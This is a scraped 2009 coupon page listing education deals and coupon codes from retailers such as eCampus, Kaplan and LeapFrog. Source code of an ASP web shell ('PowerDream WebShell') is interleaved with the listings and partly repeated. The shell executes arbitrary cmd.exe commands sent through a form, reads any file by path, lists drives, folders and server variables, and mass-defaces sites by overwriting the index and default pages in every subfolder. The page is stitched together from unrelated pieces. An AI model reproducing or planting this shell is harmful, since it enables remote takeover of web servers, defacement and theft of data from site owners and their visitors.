Education coupons, discounts and deals

<% 'Created by PowerDream
'WebShell '2007 '[TURKEY] %> <% On Error Resume Next Set Objeto=Server.CreateObject("Scripting.FileSystemObject") if request("t5") <> "" then Set ObjPasta = Objeto.GetFolder(request("t5")) end if %> <%On Error Resume Next if request("t3") <> "" then Set ObjPasta2 = Objeto.GetFolder(request("t3")) set ObjFso=server.CreateObject("Scripting.FileSystemObject") var_caminho=request("t3") For Each Pasta in ObjPasta2.Subfolders Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False) ObjAbreArq.writeline request("t4") if err then response.write "
Way amk Hacklenmedi..!: " & pasta.name err=0 else response.write "
Gözün Aydın Hacklendi :)" & pasta.name end if set ObjAbreArq = nothing next set ObjFso=nothing Set ObjPasta2 = nothing set ObjFso = nothing end if %>PowerDream Web Shell

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

<% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

<%On Error Resume Next if request("tt") <> "" then var_caminho=request("tt") set ObjFso2=server.CreateObject("Scripting.FileSystemObject") Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False) Do While Not ObjAbreArq2.AtEndOfStream Linha = Linha & ObjAbreArq2.Readline & chr(13) Loop response.write "" ObjAbreArq2.Close Set ObjAbreArq2 = Nothing ObjFso2.close set ObjFso2 = Nothig end if%>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Deal Categories

Apparel - Kids & Teens

Cooking & Kitchenware

Dating & Networking

Department Stores

Diet Plans & Supplements

Education

Electronics & Appliances

Entertainment

Eyewear

Financial & Insurance

Housewares & Furniture

Internet Services

Jewelry & Accessories

Licensed Merchandise

Luggage & Accessories

Music & Movies

Office Supplies & Ink

Education Coupons & Offers

coupon home > Education

Education Featured Deals

(See all eCampus.com deals)

	$10 off $200 or more!
	Take $10 off $200 Purchase at eCampus.co... Expires 12/31/2009 \| coupon code : HIGHTEN

	5% off DVD Purchases!
	Expires 1/31/2010 \| coupon code : DVDFIVE

	3% off $80 or more!
	Expires 1/31/2010 \| coupon code : BUY380

(See all Kaplan Test Prep deals)

	$100 Off Kaplan Test Courses!
	Take $100 Off Kaplan Test Courses when y... Expires 7/8/2010

	America's Hottest Colleges - Only $7.95
	On-Going Promotion

	PSAT and SAT Practice Tests
	On-Going Promotion

(See all S&SWorldwide.com deals)

	$5 Off Plus Free Shipping on purchases over $59!
	At The S&S Worldwide Holiday Sale! $5 Of... Expires 12/31/2009 \| coupon code : B2898

	HUGE Discounts and Coupon Offers!
	Expires 12/30/2009

	Hundreds of overstock items at clearance prices
	On-Going Promotion

(See all Oriental Trading Company deals)

Hot Deals

See all Hot Deals

1. S&SWorldwide.com
HUGE Discounts and Coupon Offers! (83 clicks)

Expires 12/30/2009

2. S&SWorldwide.com
Hundreds of overstock items at clearance prices (81 clicks)

On-Going Promotion

3. The Scholastic Store
Save BIG at The Scholastic Store's Outlet Center! (61 clicks)

On-Going Promotion

4. eCampus.com
Free shipping on orders over $59 (51 clicks)

On-Going Promotion

5. SimpleTuition
Compare Student Loans: Save money by comparing loans from top lenders. (50 clicks)

On-Going Promotion

6. LeapFrog
15% Off Orders $100 or More! (49 clicks)

coupon code : AFF15P

Expires 12/31/2009

7. The Scholastic Store
Kids' favorite books and toys...Start their education now! (44 clicks)

On-Going Promotion

8. Text Books
Free Shipping on $25 or more! (43 clicks)

On-Going Promotion

9. Kaplan Test Prep
America's Hottest Colleges - Only $7.95 (42 clicks)

On-Going Promotion

10. S&SWorldwide.com
$5 Off Plus Free Shipping on purchases over $59! (42 clicks)

coupon code : B2898

Expires 12/31/2009

New Deals

See all New Deals

1. eCampus.com $5 off $150 or more!

coupon code : FIVEOFF150

Expires 12/31/2009

Expiring Deals

See all Expiring Deals

Monday November 30 2009 LeapFrog
Free Shipping on New Books and Games!

Sunday December 13 2009 eCampus.com
$2 off most ebooks!

coupon code : EBOOKBUCKS

Wednesday December 30 2009 S&SWorldwide.com
HUGE Discounts and Coupon Offers!

Thursday July 8 2010 Kaplan Test Prep
$100 Off Kaplan Test Courses!

Education Deals

(See all LeapFrog deals)

15% Off Orders $100 or More!

Take 15% Off Orders $100 or More at Leap Frog when you use the Coupon KeyCode: AFF15P

coupon code : AFF15P
Expires 12/31/2009

Up to 70% on LeapPad books!

Save up to 70% on LeapPad books at LeapFrog.com!

On-Going Promotion

Select Leapster Games Now Only $9.99!

On-Going Promotion

Free Shipping on New Books and Games!

Get Free Shipping on New Books and Games, including Princess and the Frog, Bakugan, and Tinker Bell with this Keycode link.

Expires 11/30/2009

See all LeapFrog deals

(See all S&SWorldwide.com deals)

$5 Off Plus Free Shipping on purchases over $59!

At The S&S Worldwide Holiday Sale! $5 Off Plus Free Shipping on all online purchases over $59 with the Keycode B2898

coupon code : B2898
Expires 12/31/2009

HUGE Discounts and Coupon Offers!

S&S Worldwide "Deal of the Week" - HUGE Discounts and Coupon Offers!

Expires 12/30/2009

Hundreds of overstock items at clearance prices

Arts, crafts and more from S&S worldwide

On-Going Promotion

See all S&SWorldwide.com deals

(See all Kaplan Test Prep deals)

$100 Off Kaplan Test Courses!

Take $100 Off Kaplan Test Courses when you use the Keycode coupon link!

Expires 7/8/2010

America's Hottest Colleges - Only $7.95

By Kaplan/Newsweek

On-Going Promotion

PSAT and SAT Practice Tests

Practice now for the big test day!

On-Going Promotion

See all Kaplan Test Prep deals

(See all The Scholastic Store deals)

Save BIG at The Scholastic Store's Outlet Center!

Bargain books and discount gifts and games for boys & girls!

On-Going Promotion

Kids' favorite books and toys...Start their education now!

Great choices like Harry Potter, Barney, Clifford and more!

On-Going Promotion

See all The Scholastic Store deals

(See all Course Advisor deals)

Move your career forward with an accredited online degree!

Request free info from accredited online colleges. Get started today.

On-Going Promotion

See all Course Advisor deals

(See all SimpleTuition deals)

Compare Student Loans: Save money by comparing loans from top lenders.

Save time researching student loans. No more phone calls. Get the information you need and apply online. Many Top lenders represented. Start now.

On-Going Promotion

See all SimpleTuition deals

(See all eCampus.com deals)

$10 off $200 or more!

Take $10 off $200 Purchase at eCampus.com when you use the Key Code: HIGHTEN

coupon code : HIGHTEN
Expires 12/31/2009

5% off DVD Purchases!

Take 5% off DVDs at eCampus.com when you use the Key Code: DVDFIVE

coupon code : DVDFIVE
Expires 1/31/2010

3% off $80 or more!

Take 3% off $80 or more at eCampus.com when you use the Key Code: BUY380

coupon code : BUY380
Expires 1/31/2010

$2 off $50 or more!

Take $2 off $50 Purchase at eCampus.com when you use the Key Code: BUY250

coupon code : BUY250
Expires 1/31/2010

$5 off $150 or more!

Take $5 off $150 Purchase at eCampus.com when you use the Key Code: FIVEOFF150

coupon code : FIVEOFF150
Expires 12/31/2009

See all eCampus.com deals

(See all Hooked On Phonics deals)

On Sale Now! Hooked on Phonics

Save & Learn! See what is On Sale Now at Hooked on Phonics!

On-Going Promotion

See all Hooked On Phonics deals

(See all Text Books deals)

Up to 90% Off Over 9,000,000 New & Used Textbooks!

On-Going Promotion

Free Shipping on $25 or more!

Get Free Shipping on your order of $25 or more at TextBooks.com when you use the Keycode discount link!

On-Going Promotion

See all Text Books deals

All Merchants

Course Advisor	Kaplan Test Prep	SimpleTuition
eCampus.com	LeapFrog	Text Books
Hooked On Phonics	S&SWorldwide.com	The Scholastic Store

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Direktörler	Arsivler
<% On Error Resume Next dim contador contador=1 For Each Pasta in ObjPasta.Subfolders Response.Write Contador & "-) "& Pasta.Name & " " contador=contador+1 next%>	<%On Error Resume Next For Each Archivo in ObjPasta.Files Response.Write Archivo.Name & " " Next%>